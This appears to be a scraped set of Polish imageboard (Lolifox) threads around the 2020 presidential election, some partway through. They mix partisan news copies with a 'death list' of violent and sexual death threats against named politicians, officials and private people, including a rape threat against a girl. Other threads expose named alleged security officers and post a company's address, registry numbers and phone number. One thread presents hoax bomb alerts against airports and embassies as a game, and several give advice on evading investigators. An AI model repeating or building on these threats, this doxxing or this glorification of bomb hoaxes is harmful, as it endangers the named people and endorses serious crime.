zauważył szef MC.

Jak podał resort, obecnie trwają prace legislacyjne na poziomie Unii Europejskiej. Zgodnie z zapowiedziami prezydencji Niemiec, które przejęły od 1 lipca br. prezydencję w Radzie UE, zakończenie prac nad rozporządzeniem ws. utworzenia Centrum planowane jest do końca 2020 r.

Ta inicjatywa ma uzupełnić dotychczasowe działania w zakresie dyrektywy dotyczącej bezpieczeństwa sieci i informacji (wprowadziła ona wymagania ochrony usług kluczowych i zgłaszania incydentów cyberbezpieczeństwa) oraz Aktu o Cyberbezpieczeństwie, który - poza utworzeniem Europejskiej Agencji ds. Cyberbezpieczeństwa (ENISA), umożliwił rozpoczęcie prac nad europejskimi programami badań cyberbezpieczeństwa.

Ponadto, Centrum będzie wdrażać fundusze przeznaczone na cyberbezpieczeństwo w ramach dwóch dużych programów europejskich, przewidzianych w nowej perspektywie finansowej UE na lata 2021-2027 - czyli Cyfrowa Europa oraz Horyzont Europa.

R: 69 / I: 0 / P: 9

Rządowe boty, trolle i manipulacja przy wyborach prezydenckich.

Prośba o wykopanie bo trolle zakopują.

https://www.wykop.pl/link/5596621/rzadowe-boty-trolle-i-manipulacja/

Zrobiliśmy analizę tego jak działają rządowe trolle i przedstawiamy dowody ich istnieja. Cały artykuł powstał bo spora część ludzi nie zdaje sobie z tego sprawy, a niestety również mają prawa głosu przy wyborach.

Na lolifoxie trolle też są.

R: 0 / I: 0 / P: 9

Trzaskowski gwarantuje, że "Okrągły Stół" nadal będzie dominował

"Rozstrzyga się przyszłość cywilizacyjna Polski. Czy Polska dalej ma być państwem chrześcijańskim, takim, jakim jest od ponad 1050 lat? Czy Polska ma być nadal budowana na tradycji narodowej?" - mówi portalowi Niezalezna.pl marszałek senior Antoni Macierewicz. Były minister obrony narodowej przestrzega, że ewentualny wybór Rafała Trzaskowskiego to powrót do "PRL-bis". "Cały ten aparat komunistyczny skupił się wokół pana Trzaskowskiego, bo on gwarantuje im ratunek" - uważa minister Macierewicz.

Marszałek Macierewicz z rozmowie z naszą reporterką ocenił, przed jakim wyborem staną Polacy w najbliższą niedzielę, kiedy będą wybierali prezydenta. W drugiej turze przeciwnikiem obecnego prezydenta, Andrzeja Dudy, będzie Rafał Trzaskowski (Koalicja Obywatelska).

Trzaskowski to jest powrót do PRL-bis i musimy mieć absolutną jasność. Bez względu na jego uśmiechy, jego miny, na jego krętactwo, które nieustannie uprawia, to jest powrót do PRL-bis

- uważa marszałek senior.

Rozstrzyga się przyszłość cywilizacyjna Polski. Czy Polska dalej ma być państwem chrześcijańskim, takim, jakim jest od ponad 1050 lat? Czy Polska ma być nadal budowana na tradycji narodowej? Czy Polska nadal ma być budowana na sile tego, czym jest polskość na prowincji polskiej, na wsi? Na polskiej inteligencji wywodzącej się z najwspanialszych czasów XIX wieku. Czy ma być budowana na tych, którzy przyjechali na czołgach rosyjskich? Bo taka jest przecież geneza olbrzymiej części aparatczyków komunistycznych, którzy teraz stanowią zaplecze Platformy Obywatelskiej

- tłumaczy.

Cały ten aparat komunistyczny skupił się wokół pana Trzaskowskiego, bo on gwarantuje im ratunek. On gwarantuje im, że "Okrągły Stół" nadal będzie dominował i nadal będzie fundamentem ich powodzenia. Tych ludzi, którzy zamienili legitymację PZPR na książeczkę czekową

- podkreśla były minister obrony narodowej.

Cała rozmowa z marszałkiem seniorem Antonim Macierewiczem:

https://www.youtube.com/embed/dCVxajdw6LQ

R: 0 / I: 0 / P: 10

"To hańba, panie Trzaskowski"

- 2017 rok, projekt zmiany ustawy o związkach zawodowych, Nowoczesnej, która w tej chwili siedzi w PO. Projekt, który de facto delegalizował związki zawodowe. Gdzie był wtedy pan Trzaskowski? Posłem był i głosował za tym, aby ten projekt, zły projekt szedł do kolejnego czytania. To hańba, panie Trzaskowski, a dzisiaj pan mówi, że pochyla się pan nad problemami pracowniczymi. - mówił w Zamościu Piotr Duda, przewodniczący NSZZ "Solidarność".

- Pan prezydent na swojej trasie na każdym spotkaniu powtarza ten jeden najważniejszy postulat, który w 2015 r. był tak ważne, czyli obniżenie wieku emerytalnego. Nie sądziłem, że po 5 latach też będzie numerem jeden. Tylko nie wywołanym przez pana prezydenta, tylko przez kłamstwa kandydata Rafała Trzaskowskiego, który mówi, że teraz nie podwyższy wieku emerytalnego, a doskonale o tym wiemy, że był w rządzie Tuska i doskonale wiedział co robił i jak głosował. W 2016 r. nawet nie wiedział, że był posłem, że dostał szansę, by wtedy uderzyć się w pierś i powiedzieć: "popełniłem błąd, teraz będę głosował za projektem prezydenckim w sprawie obniżenia wieku emerytalnego". Ale nawet powieka mu się nie ruszyła - był przeciwny - mówił podczas wiecu wyborczego Andrzeja Dudy w Zamościu przewodniczący NSZZ "Solidarność", Piotr Duda.

Szef "S" podkreślał znaczenie wiarygodności w polityce.

- Zwracam się także z tego miejsca do związkowców, bo znowu mówimy o wiarygodności i niepamięci albo pamięci. 2017 rok, projekt zmiany ustawy o związkach zawodowych, Nowoczesnej, która w tej chwili siedzi w PO. Projekt, który de facto delegalizował związki zawodowe. Gdzie był wtedy pan Trzaskowski? Posłem był i głosował za tym, aby ten projekt, zły projekt szedł do kolejnego czytania. To hańba, panie Trzaskowski, a dzisiaj pan mówi, że pochyla się pan nad problemami pracowniczymi. Nad problemami pracowniczymi pochyla się NSZZ Solidarność i prezydent Duda

- powiedział Piotr Duda.

R: 0 / I: 0 / P: 10

PREKOGNICJA

Prekognicja (późnołac. præcognition-, præcognitio, od łac. præcognoscere, „wiedzieć wcześniej”; od præ-, „przed, wcześniej, pra-” i cognoscere, „wiedzieć, być zaznajomionym z”, od co-, „z, razem; całkowicie, dokładnie, gruntownie” i gnoscere, noscere, gr. γιγνώσκειν gignōskein, „dowiedzieć się”) – w parapsychologii zjawisko paranormalne oznaczające wiedzę o zdarzeniach w przyszłości, której nie można wywieść z bieżącego stanu wiedzy (co odróżnia je od przewidywania czy prognozowania)[1]. Pojęcie jest związane z jasnowidzeniem, jednakże nie powinno się go z nim utożsamiać (gdyż we współczesnej parapsychologii jasnowidzenie traktuje się bardziej jako wiedzę o tym, co dzieje się w innej przestrzeni, lecz w tym samym czasie, a prekognicja oprócz psychotronicznej "podróży" w przestrzeni, daje jakoby dostęp do wiedzy o przyszłych zdarzeniach)[2].

Podobnie jak wszystkie zagadnienia parapsychologiczne, prekognicja jest zagadnieniem kontrowersyjnym i jest odrzucana przez środowiska naukowe, a budzi wątpliwości nawet wśród osób zajmujących się parapsychologią. Kwestionuje się istnienie tego zjawiska, a także prawdziwość bądź interpretację doświadczeń związanych z prekognicją. Nie istnieją wiarygodne źródła naukowe potwierdzające istnienie tego zjawiska i badanie go jest przykładem pseudonauki.

R: 95 / I: 5 / P: 10

temat ze zdemaskowaniem Pana Śmiecia jako Łukasza Jędrzejczaka z SKW osiągnął limit 300 postów i przestał się podbijać

archiwum tematu: https://web.archive.org/web/20200708180914/https://lolifox.cc/poland/res/15502.html

poniżej najważniejsze posty z tego i innych tematów na temat tożsamości Pana Śmiecia czyli Łukasza Jędrzejczaka z SKW

nowe informacje mile widziane

R: 0 / I: 0 / P: 10

Trzaskowski 18 dni nie był w pracy

Prezydent Warszawy Rafał Trzaskowski od 15 maja, czyli dnia, w którym zatwierdzono jego kandydaturę na prezydenta Polski, do 9 lipca miał 18 dni usprawiedliwionych nieobecności - poinformowała dziś rzeczniczka ratusza Karolina Gałecka, pytana, ile w tym czasie prezydent miał dni wolnych.

15 maja zarząd PO jednogłośnie zaakceptował kandydaturę prezydenta Warszawy Rafała Trzaskowskiego na prezydenta po tym, jak zrezygnowała z kandydowania Małgorzata Kidawa-Błońska. Trzaskowski zapowiadał, że mimo kandydowania nadal będzie zarządzał Warszawą, również zdalnie. "W momencie, kiedy będzie taki dzień, kiedy będę poza Warszawą, wtedy będę brał urlop" - zapewniał 17 maja.

Polska Agencja Prasowa zapytała w związku z tym ratusz, ile dni wolnych miał prezydent, odkąd został kandydatem. W odpowiedzi rzeczniczka ratusza podała, że od tego dnia do 9 lipca Trzaskowski miał 18 dni usprawiedliwionych nieobecności. Dni roboczych od 15 maja było 40.

Kilka dni po tym, jak ogłoszono jego start w wyborach prezydenckich, prezydent stolicy odwiedził województwa kujawsko-pomorskie, pomorskie i zachodniopomorskie, gdzie spotykał się m.in. z burmistrzami tamtejszych gmin, a także samorządowcami przygranicznymi. Jeszcze w maju Trzaskowski złożył wizytę w Lubuskiem i Wielkopolsce, a w Poznaniu wygłosił przemówienie na placu Wolności.

3 czerwca, gdy marszałek Elżbieta Witek zarządziła wybory, rozpoczęła się zbiórka podpisów poparcia pod jego kandydaturą. W jej czasie odwiedzał miejscowości w województwach świętokrzyskim i małopolskim. 9 czerwca złożył w PKW 1,6 mln podpisów. Przez kolejne dni Trzaskowski odwiedzał miejscowości w województwach łódzkim, śląskim, opolskim, dolnośląskim, mazowieckim, kujawsko-pomorskim, warmińsko-mazurskim, podlaskim, lubelskim i podkarpackim.

Trzaskowski w tym czasie w Warszawie brał udział m.in. w niektórych konferencjach poświęconych sprawom miasta, czy w uroczystościach z okazji 30-lecia samorządu. W innych sprawach zastępowali go wiceprezydenci. Trzaskowskiego nie było np. na konferencji, na której poinformowano o blokadzie ponad 345 mln złotych planowanych wydatków budżetowych, a zarządzenie w tej sprawie w jego imieniu podpisała wiceprezydent Renata Kaznowska.

25 czerwca prezydent miasta zrezygnował z wizyt na Mazowszu i - jak informował ratusz - przerwał urlop. W Warszawie doszło wtedy do tragicznego wypadku na moście Grota-Roweckiego. Miejski autobus uderzył w barierki, spadł z wiaduktu i zawisł nad Wisłostradą. Zginęła pasażerka, a ok. 20 innych zostało rannych. Kierowca pracujący dla prywatnego przewoźnika był pod wpływem amfetaminy, usłyszał zarzuty i trafił do aresztu. Trzaskowski przyjechał na miejsce zdarzenia i rozmawiał ze służbami oraz uczestnikami wypadku.

Następnego dnia przypadał piątek przed ciszą wyborczą w związku z I turą wyborów. Trzaskowski odwiedzał Mazowsze, m.in. Płońsk i podwarszawskie gminy. 28 czerwca wyniki I tury poznał na wieczorze wyborczym na Powiślu w Warszawie. Do II tury trafił wraz z ubiegającym się o reelekcję prezydentem Andrzejem Dudą. Prezydent dostał 43,5 proc. głosów, a Trzaskowski - 30,46 proc.

W poniedziałek po głosowaniu Trzaskowski ruszył w trasę po Mazowszu i Kujawsko-Pomorskiem. Przez kolejne dni odwiedzał różne miasta i gminy w województwach pomorskim, zachodniopomorskim, wielkopolskim, śląskim, opolskim, dolnośląskim i lubuskim.

Ten piątek, ostatni dzień kampanii, poprzedzający ciszę wyborczą w związku z rozstrzygającą II turą, kandydat KO spędza na Dolnym Śląsku, Opolszczyźnie i na Śląsku. Finał miejsce mieć będzie w Rybniku, który jest rodzinnym miastem żony Trzaskowskiego, Małgorzaty.

R: 327 / I: 35 / P: 10

Weryfikacja lolifoksów

Szybko sprawdzimy kto tu naprawdę używa whonixa a kto tylko pierdoli ze swojego windowsa 10.

W konsoli Whonix Workstation nalezy wpisać polecenie

uname -a | md5sum

Proszę o podanie wynikowego hashu.

Ktoś, kto naprawdę używa Whonixa uzyska dzisiaj hash zaczynający się na 18.. a kończący na ..e7

Ciekawe czy zamelduje się choć jeden prawdziwy whonixowiec :)

R: 3 / I: 1 / P: 10

naprawdę nie wyobrażacie sobie jak inni lolifoksiarze wyglądają? nie ciekawi was to? nieironicznie myślę że jesteście chadami

R: 0 / I: 0 / P: 10

Czym były rządy PO. „Zamiast dialogu, miały kule dla górników”

Polska będzie tak silna, jak silny będzie Śląsk - mówił dziś na wiecu w Katowicach premier Mateusz Morawiecki. Podkreślił też, że na Śląsku rządy PO „zamiast dialogu, miały kule dla górników”. - Politycy PO, z Rafałem Trzaskowskim, mają dość tego, że Polsce i Polakom się udało – dodał.

Podczas spotkania z mieszkańcami Katowic premier mówił, że „kiedy 100 lat temu wykuwała się Polska, to zarówno wtedy Polska była tak silna, tak wielka, tak trwała, jak silny był Śląsk, jak mocno Śląsk osadzony był w Polsce, a jednocześnie jak mocno Polska była osadzona na Śląsku i tak samo po latach, mimo epok, które mijają, mimo komunizmu, wojen, tak samo jest dzisiaj - Polska będzie tak silna, jak silny będzie Śląsk”.

Jak podkreślił, każdy musi to rozumieć i to rozumie prezydent Andrzej Duda.

Morawiecki przypomniał również wydarzenia z niedawnej historii Śląska, kiedy pięć lat temu w Zabrzu i Jastrzębiu Zdroju „zamiast dialogu władza Platformy Obywatelskiej miała kule dla górników”; podkreślał, że o tym trzeba pamiętać. - Co wtedy robił pan Rafał Trzaskowski? Z jego przyjaciółką Ewą Kopacz i minister spraw wewnętrznych panią (Teresą) Piotrowską? Bardzo mocno tę akcję afirmowali - dodał.

- Pamiętamy również, że w tych haniebnych miesiącach Platformy Obywatelskiej, nie tak dawno temu, pan Andrzej Duda, wtedy jeszcze kandydat, zabrał jednoznacznie głos, potępił ten czyn, tę przemoc wobec górników

- podkreślił szef rządu.

W dalszej części wystąpienia Morawiecki mówił, że dobre zmiany mogą się dziać pod „wielkim kierunkiem” prezydenta Andrzeja Dudy. Wspomniał o tym, że "niektórzy politycy PO krzyczą: „mamy dość”" i spytał ich czego mają dość.

- Tego, że bezrobocie jest najniższe w III RP. Tego, że Polska najlepiej sobie poradziła z epidemią, przy bardzo niskim deficycie, (…) że mamy mieć najsilniejszy wzrost gospodarczy w najbliższych latach, że ubóstwo jest najniższe w ostatnich trzydziestu latach, tego, że powstrzymaliśmy falę islamskich migrantów. Tego macie dość? - kontynuował. - A może macie dość tego, że prezydent zniósł wizy do USA w uzgodnieniu z prezydentem Trumpem i wzmocnił obecność wojsk USA w Polsce

- dodał.

Morawiecki ocenił, że „niektórzy politycy PO, z Rafałem Trzaskowskim na czele, mają dość tego, że Polsce i Polakom się udało”. - To ich tak bardzo denerwuje, że Polska nie ma już tylko głosu doradczego za stołem europejskim, tylko współdecyduje o wielkich nowych funduszach - stwierdził.

Powiedział też, że dziś przyszły „kolejne dokumenty, kolejne potwierdzenie wielkich środków” unijnych dla Polski. Wymienił kwotę 700 mld zł. Morawiecki stwierdził, że te środki „wynegocjowaliśmy razem z prezydentem” Dudą.

R: 0 / I: 0 / P: 10

Znany piekarz pozbawiony zamówień bo poparł Andrzeja Dudę

Najpierw opinią publiczną wstrząsnęły doniesienia o tym, że niepełnosprawna Anna Derewienko została wykluczona z listy podopiecznych fundacji, której prezesem jest radna PO w Bydgoszczy. Powodem miało być wsparcie, którego młoda kobieta udzieliła Andrzejowi Dudzie w drugie turze wyborów prezydenckich. Dziś ujawniono, że problemy ma znany gdański piekarz, Grzegorz Pellowski. Rządzony przez Aleksandrę Dulkiewicz ratusz pozbawił właśnie piekarnię stałych zamówień. Kilka dni wcześniej Pellowski ogłosił swoje poparcie dla Andrzeja Dudy.

Na finiszu kampanii coraz częściej możemy dostrzec zwiększony poziom agresji i niechęci sympatyków opozycji wobec swoich politycznych przeciwników. Czasem przybiera ona naprawdę radykalne formy.

W czwartek na jaw wyszło, iż niepełnosprawna młoda kobieta została pozbawiona wsparcia fundacji po tym, jak na Facebooku stwierdziła, że popiera Andrzeja Dudę.

„Informacja z ostatniej chwili: Nie jestem już podopieczną Fundacji Dum Spiro Spero z siedzibą w Bydgoszczy, której prezesem jest radna miasta Bydgoszczy, pani Katarzyna Zwierzchowska, zasiadająca także w kilku komisjach Urzędu Miasta, przydzielających fundusze na działania kulturalne i oświatowe, a także odpowiedzialna za działania miasta promujące miasto Bydgoszcz. Zostałam wykluczona z Fundacji przez jej zarząd, który powołał się na bliżej nieokreślone niestosowne moje zachowanie, w wyniku którego rzekomo utracił sponsora”

- napisała niepełnosprawna Anna Derewienko.

Tego dnia przewodnicząca Forum Młodych PiS we Wrocławiu zaapelowała o zaprzestanie siania nienawiści. W krótkim filmie tłumaczy, dlaczego zagłosuje na prezydenta Andrzeja Dudę i na jaką agresję jest narażona tylko w związku ze swoimi poglądami.

Tortem w piekarza

Jednak stopień emocji nie opada. Tym razem kłopoty ma znany gdański piekarz Grzegorz Pellowski. Powód? Kilka dni temu piekarz poparł w mediach społecznościowych ubiegającego się o reelekcję Andrzeja Dudę. Film z poparciem został opublikowany na profilu Kacpra Płażyńskiego, posła Prawa i Sprawiedliwości.

Według relacji gdańskiego piekarza, mieli dzwonić do niego urzędnicy z ratusza zarządzanego przez Platformę Obywatelską, by poinformować o utracie zamówienia na dostawę dla urzędu miasta m.in. tortów, ciast, a nawet kanapek.

- To niekomfortowa dla mnie sytuacja. Przyznam, że doszło do nieporozumienia z panią prezydent Dulkiewicz, wyjaśniłem sobie z nią tą sprawę. Zadzwoniła do mnie urzędniczka z miasta, która wycofała zamówienie. Mam nadzieję, że miasto dalej będzie zamawiać u nas torty, a pani prezydent jak zawsze przyjdzie do nas na pączki z córką

- mówił Radiu Gdańsk Grzegorz Pellowski, znany gdański piekarz.

Fotka z posłem Adamowiczem

Rozgłośnia dodaje, że "Grzegorza Pellowskiego do zmiany zdania w sprawie poparcia Andrzeja Dudy miał też naciskać w rozmowie telefonicznej Piotr Adamowicz z Koalicji Obywatelskiej". Poseł nie chciał komentować tych doniesień.

Co więcej, na Facebookowym profilu Piotra Adamowicza pojawiło się zdjęcie Grzegorza Pellowskiego z naklejką "Trzaskowski 2020".

"Słynny gdański piekarz Grzegorz Pellowski zdecydował się, jednak Rafał Trzaskowski…" - napisał w opublikowanym dziś przed południem poście Piotr Adamowicz.

W rozmowie z Radiem Gdańsk, Pellowski przyznał, że była to "prowokacja".

- Na spacer w miejsce spotkania działaczy PO poprosił mnie Jerzy Borowczak. Zostałem tam oklejony napisami kandydata Platformy Obywatelskiej. Wykonano mi zdjęcie, które trafiło do sieci - powiedział lokalnej rozgłośni piekarz. Dodał, że wciąż popiera Andrzeja Dudę.

R: 0 / I: 0 / P: 10

Tak Trzaskowski szarżuje w ostatnich chwilach kampanii. MAMY WIDEO

Portal Niezalezna.pl dotarł do nagrania, na którym widzimy, jak spieszący na kolejne spotkanie Rafał Trzaskowski za nic ma przepisy prawa drogowego! Na trasie Nysa - Racibórz (Droga Krajowa 41) pędzi z dużą prędkością i… wyprzedza innych uczestników ruchu na linii ciągłej! Poczuł się uprzywilejowany? ZOBACZCIE NAGRANIE!

Już tylko godziny dzielą nas od rozpoczęcia ciszy wyborczej przed drugą turą wyborów prezydenckich. Mówiąc o nich w Nysie (woj. opolskie) Rafał Trzaskowski oświadczył: "Albo teraz, albo nigdy". Przestrzegał, że "ta władza", prezes PiS Jarosław Kaczyński i inni politycy PiS, zamiast pracować, robią kampanię Dudzie "za publiczne pieniądze".

Ta przemowa kandydata KO musiała dodać mu skrzydeł - w ostatnich chwilach kampanii przyłapaliśmy bowiem Rafała Trzaskowskiego na łamaniu przepisów drogowych!

Portal Niezalezna.pl dotarł do nagrania, na którym widać, jak jego kampanijne auto, jadące z dużą prędkością, wyprzedza innych uczestników ruchu na… linii ciągłej.

Trzaskowski poczuł się uprzywilejowany? Najwidoczniej. Rzecz działa się na trasie Nysa - Racibórz, na drodze krajowej 41.

ZOBACZCIE NAGRANIE:

https://static.ftpn.pl/player/player2.php?f=/uploads/dokumenty/340032/trzasskowski1.mp4

https://static.ftpn.pl/player/player2.php?f=/uploads/dokumenty/340032/trzaskowski2.mp4

R: 55 / I: 0 / P: 10

nowa teoria maturalna

==NOWA TEORIA MATURALNA== Kliknij by przeczytać

emaile w matury 2019 różniły się od tych z 2020. te pierwsze były wygenerowane losowo z templatki wrzuconej przez anona natomiast te drugie już były pisane przez nastolatków za Torem

pozwala to przypuszczać że alarmy w 2019 naprawdę wysłali Rosjanie, w końcu jedyne co trzeba było zrobić to wkleić w skrypt te sformułowania i wysyłać

każdy kto śledził matury 2020 widział że treści były bardzo zróżnicowane od pedofila, nauczyciela chemii, terrorysty po rzezimieszka chcącego worek złota i były pisane przez człowieka w sensie skrypt nie losował

ta teoria jest sensowna chyba że matury 2020 też się okażą przeprowadzone przez Rosjan wtedy można ją zakopać

ja wiem że matury 2020 były dokonane przez nastolatków za Torem ponieważ… kolega mi się pochwalił na Signale że to on zrobił, wierzę mu na słowo

R: 1 / I: 0 / P: 10

https://incels.co/threads/are-african-kids-entitled-to-food.39069/

>i mean, they wouldnt be poor if they were confident…

>They need therapy. It's all in their head, they aren't actually hungry.

>They should stop being so entitled.

>those losers just need to shower off the hunger.

>They just need to get over themselves and get out and live!

>African kids need to hit the gym and work on their person te he he, personalll te he he, pers te he he, personalities.

>They should just shower.

>They need to man up and stop whining like crybabies

>Of course not! I know a starving kid who went outside, showered, and lifted weights and now they're well adjusted millionares living in their NYC penthouse.

>I know an african kid who did fine without food. He told me his friends are always going on and on about "I'm starving" and "I can't survive without a proper electrolyte balance and caloric intake". He said Sure, He's starving but at least he's not whining about it.

>They should shower, get a nice haircut, put on some nice clothes, have some hobbies, go outside and talk to people.

>Tbh, it's their fault. If they were good, they would have been born in Switzerland.

>It's their fault. If they just had more faith God would feed them.

>if they respected women more they wouldn't be in that situation

>All they need is a haircut

>They need to work on their personality. It's about time those fuckers stopped feeling sorry for themselves.

>They just need an extra haircut and gym routine to stop all that selfish hunger, and then they'll feel better.

>No one owes you anything. Cant stand entitled pieces of shit.

>just b urself xdd

>they just need to lower their standards the dirt isn't bad

>They just need confidence

dobre porównania

R: 3 / I: 0 / P: 10

Beata Legowicz odradza aplikacje banków

Aplikacje bankowe w komórce? Cyberprofilerka o tym, na co trzeba uważać

Nie musimy sprawdzać swojego konta bankowego kilka razy dziennie i to przez telefon – przestrzega Beata Legowicz, cybeprofilerka. W swoim telefonie komórkowym nie posiada aplikacji bankowych, bo doskonale wie, do czego są zdolni i jak działają cyberprzestępcy

Co godzinę na świecie dochodzi do średnio tysiąca cyberataków. Ataki w coraz większym stopniu wymierzone są w prywatne konta użytkowników internetu. W jaki sposób możemy chronić swoją prywatność, dane i pieniądze? Beata Legowicz, która została w tym roku wyróżniona przez Women in Tech Summit 2019 i znalazła się w gronie TOP20 CyberSecurity Women in Poland, na liście wybitnych Polek z obszaru bezpieczeństwa cyfrowego, radzi, jak zabezpieczyć się przed cyberprzestępcami.

https://www.forbes.pl/technologie/aplikacje-bankowe-w-komorce-na-co-trzeba-uwazac/pfj6y2w

ciekawe co na to bezpiecznicy którzy bronią aplikacji jak niepodległości

R: 64 / I: 1 / P: 10

Lista śmierci

Lista osób które zostaną w niedługim czasie brutalnie zamordowane przez nieznanych sprawców. Opisujcie też sposób w jaki to nastąpi.

Zbigniew Ziobro

Będzie miał bardzo nieszczęśliwy wypadek. Ta śmierć będzie powolna i bolesna.

Andrzej Duda

Prezydent gdzieś poleci ale nie doleci, wszystko się zmieni.

Jarosław Kaczyński

Podczas oddawania stolcu pęknie mu żylak odbytu i Jarek się wykrwawi.

Jarosław Gowin

Podczas spaceru przewróci się na nóż desantowy. Dziesięć razy.

Beata Legowicz

Przypadkowo wrzuci suszarkę do wanny.

Łukasz Jędrzejczak

Będzie miał zawał podczas masturbacji do modelek z Maxmodels.

Karol Molenda

Odbierze od agentów CIA walizkę pełną dolarów. Walizka wybuchnie.

Tomasz Zdzikot

Przyjdzie do niego paczka. To będzie ostatnia przesyłka w jego życiu.

Vegeta_Ssj

Pomyli narkotyki i przypadkowo zażyje śmiertelną dawkę fentanylu.

Sylwester Suszek

Udławi się jedzeniem.

Krzysztof Dymkowski

Uda się w umówione miejsce zatrzymać niczego niespodziewającego się pedofila. Niczego niespodziewający się pedofil strzeli do niego z broni czarnoprochowej.

Krzysztof Flaszyński

Podczas spokojnego kursu jego taksówka trochę się spierdoli i zanurkuje w Jeziorze Kuźniczka.

Mateusz Morawiecki

Podczas wystąpienia publicznego w małej miejscowości snajper trafi go w głowę.

Jacek Kurski

Kiedy wyjdzie ze swojego ulubionego burdelu ciemny samochód go potrąci po czym kilka razy po nim przejedzie.

Adam Andruszkiewicz

Podczas masturbacji analnej parasol przypadkowo się otworzy i Adam wykrwawi się z odbytu.

Łukasz Szumowski

Narta odetnie mu głowę.

Michał Białek

Podczas ruchania Anny Steckiej ktoś podejdzie od tyłu i wbije mu nóż w plecy.

Patryk Adamczyk

Dostanie HIV od lizania odbytu Gabrieli Kality.

Gabriela Kalita

Przedawkuje heroinę, prawdopodobnie będzie to samobójstwo przez tak zwany złoty strzał.

Anna Stecka

Ktoś wbije jej sztylet w zagrzybioną cipę i rozerwie macicę.

Michał Michalski

Zostanie zbanowany permanentnie za pomocą noża desantowego wbitego pod żebra.

Tomasz Drożdżyński

Jego konto zostanie usunięte za pomocą ciężarówki ze żwirem.

Monika Legowicz

Dziewczynka zostanie zgwałcona przez doświadczonego pedofila w odbyt i macicę.

Dominik Rozdziałowski

Zostanie zamordowany przez zakompleksionego nastolatka z beznadziejnego, debilnego forum. Jego niezaszyfrowany komputer przypadkiem znajdzie się w Moskwie.

R: 10 / I: 0 / P: 10

>połączenie Whonix z socks wymaga dekonfiguracji nastawów Whonixa

>Tor Browser daje jeden adres IP wszystkim odwiedzanym domenom

>za alarmami bombowymi stoją Rosjanie

>nikt z Lolifox nie wysłał alarmów bombowych

>godzina była taka że będzie łatwo go skorelować

>ktoś monitoruje ruch sieciowy polaków

R: 5 / I: 0 / P: 10

>dyskutuj ze śmieciakami

i tak każdego dnia

R: 35 / I: 6 / P: 11

Aleksandra Paulska - Rzecznik Prasowy - Narodowe Centrum Bezpieczeństwa Cyberprzestrzeni

o co chodzi?

https://mobile.twitter.com/APaulska/status/1279454854977662976

R: 27 / I: 1 / P: 11

rozpracowanie Vegety

a policjanci którzy okradli polsilvera, Robert Nojszewski i Krzysztof Lorek, nie pracują teraz przypadkiem w MON?

oni pasowaliby do bycia Vegetą

-Vegeta jest złodziejem, kradł od ludzi na cebulce, uważa że wolno okraść innego przestępcę

-Vegeta bardzo nie lubi się z kubuspuchatkiem (kubuspuchatek ujawnił nazwiska tych dwóch)

-Vegeta ma ogromny ból dupy o ujawnienie nazwisk tych dwóch kundli

-Vegeta z jakiegoś powodu najeżdzą szczególnie na KGP. a tamci zostali wypierdoleni z KGP

-być może Vegeta z konta dedemartin pisał do Polsilvera. a tamci go zatrzymali

-ktoś w stylu Vegety pisał do kubuspuchatka a on wziął go za Roberta Nojszewskiego http://cebulka7millweap.onion/viewtopic.php?id=2865

-Vegeta żartował (albo wygadał się) że studiował tę samą podyplomówkę co Jędrzejczak. Jędrzejczak studiował "Rozpoznania, zapobiegania i zwalczania cyberprzestepstw popełnianych na szkodę banków". a tamci dwaj pracowali w Związku Banków Polskich

-Vegeta wielokrotnie sugerował że mieszka w Warszawie

-jeden z nich był szkolony w USA (kubuspuchatek nie napisał który). Jędrzejczak był szkolony w USA. tam mogli się zaprzyjaźnić (Jędrzejczak z Vegetą)

nie ma innych poszlak ale trzeba prześwietlić tych śmierdzieli od stóp do głów. w szczególności na okoliczność tego czy pracują teraz w MON, NCBC, SKW

WATCHDOGS SP. Z O.O.

REGON: 367717759

NIP: 5272812364

KRS: 0000685206

Lorek Krzysztof Członek Zarządu

Nojszewski Robert Andrzej Prezes Zarządu

ADRES:

Sokołowska 9/193 01-142 Warszawa

STRONA WWW:

watchdogs.io

WATCHDOGS SP. Z O.O. Sokołowska 9/193 01-142 Warszawa

Nr telefonu: 781518404

R: 50 / I: 1 / P: 11

jedna z lolifoxowych gier

celem gry jest wywołać alarmy bombowe i nie dać się złapać

poziomy trudności

Poziom Łatwy - budynki państwowe

Poziom Trudny - centra handlowe, banki

Poziom Nightmare - lotniska, ambasady

tryby gry

Tryb A - przeprowadź jak najwięcej ewakuacji

Tryb B - ewakuuj jak najwięcej osób

Tryb C - narób jak najwięcej strat finansowych

Tryb ? - nie wiem, nie odblokowałem go

pamiętajcie że gra jest zespołowa. trwa od 1 stycznia do 31 grudnia po czym się zeruje i zaczyna od nowa, Państwowa Straż Pożarna publikuje leaderboardy

z powodu niewielkiej liczby graczy można śmiało liczyć 99% alarmów jako te wywołane przez uczestników

R: 182 / I: 2 / P: 11

METODY OPERACYJNE SŁUŻB NA LOLIFOX

jak działają służby, jak rozpoznawać, jak się chronić przed manipulacją

1. WYŚMIEWANIE, OBRAŻANIE, PONIŻANIE PRZESTĘPCÓW

MODUS OPERANDI: profilerka sprofilowała sprawcę jako "ktoś, kto ma poważne problemy ze swoją psychiką, brakuje mu uznania i podziwu oraz ma spory żal do otaczającego go świata". dlatego troglodyci ze służb wpadli na pomysł wyśmiewania i poniżania, myśleli że może wtedy się zniechęci i odpuści

OCENA: 0/10 katastrofalna metoda, to ona doprowadziła do eskalacji konfliktu i pierwszych alarmów maturalnych. żadna inna metoda nie przyniosła tyle szkód polsce

2. UDAWANIE STYLU PISMA PRZESTĘPCÓW

MODUS OPERANDI: po swojej deanonimizacji Łukasz Jędrzejczak stwierdził że wszystko by się udało gdyby "pisał po żulersku". dlatego polecił swoim podwładnym udawać nasz styl pisma. metoda jest używana w połączeniu z pierwszą, żeby sprawić wrażenie że to inny lolifoksiarz cię wyśmiewa

OCENA: 0/10 metoda korzystna dla nas, nawet jeśli służby wiedzą które posty są ich, to amatorzy stylometrii spoza służb mają większe problemy z rozpoznawaniem naszych postów. zalecam wszystkim pisać tym stylem pisma, jest to bardzo korzystne dla anonimowości

3. OSKARŻANIE O BYCIE ROSJANAMI

MODUS OPERANDI: Łukasz Jędrzejczak wpadł na pomysł jak zrobić karierę. prowadzi akcję wywiadowczą przeciwko rosyjskim szpiegom w Służbie Kontrwywiadu Wojskowego

OCENA: 1/10 bomberzy wiedzą że są bezkarni i nikt ich nie namierzył. czują się jak bogowie którymi są. daję jeden punkt w górę bo Jędrzejczak dzięki tej metodzie robi karierę

4. TOR NIE DZIAŁA, ZAMIAST TEGO TRZEBA VPN

MODUS OPERANDI: zniechęcają ludzi do Tora i wmawiają jakieś gówna

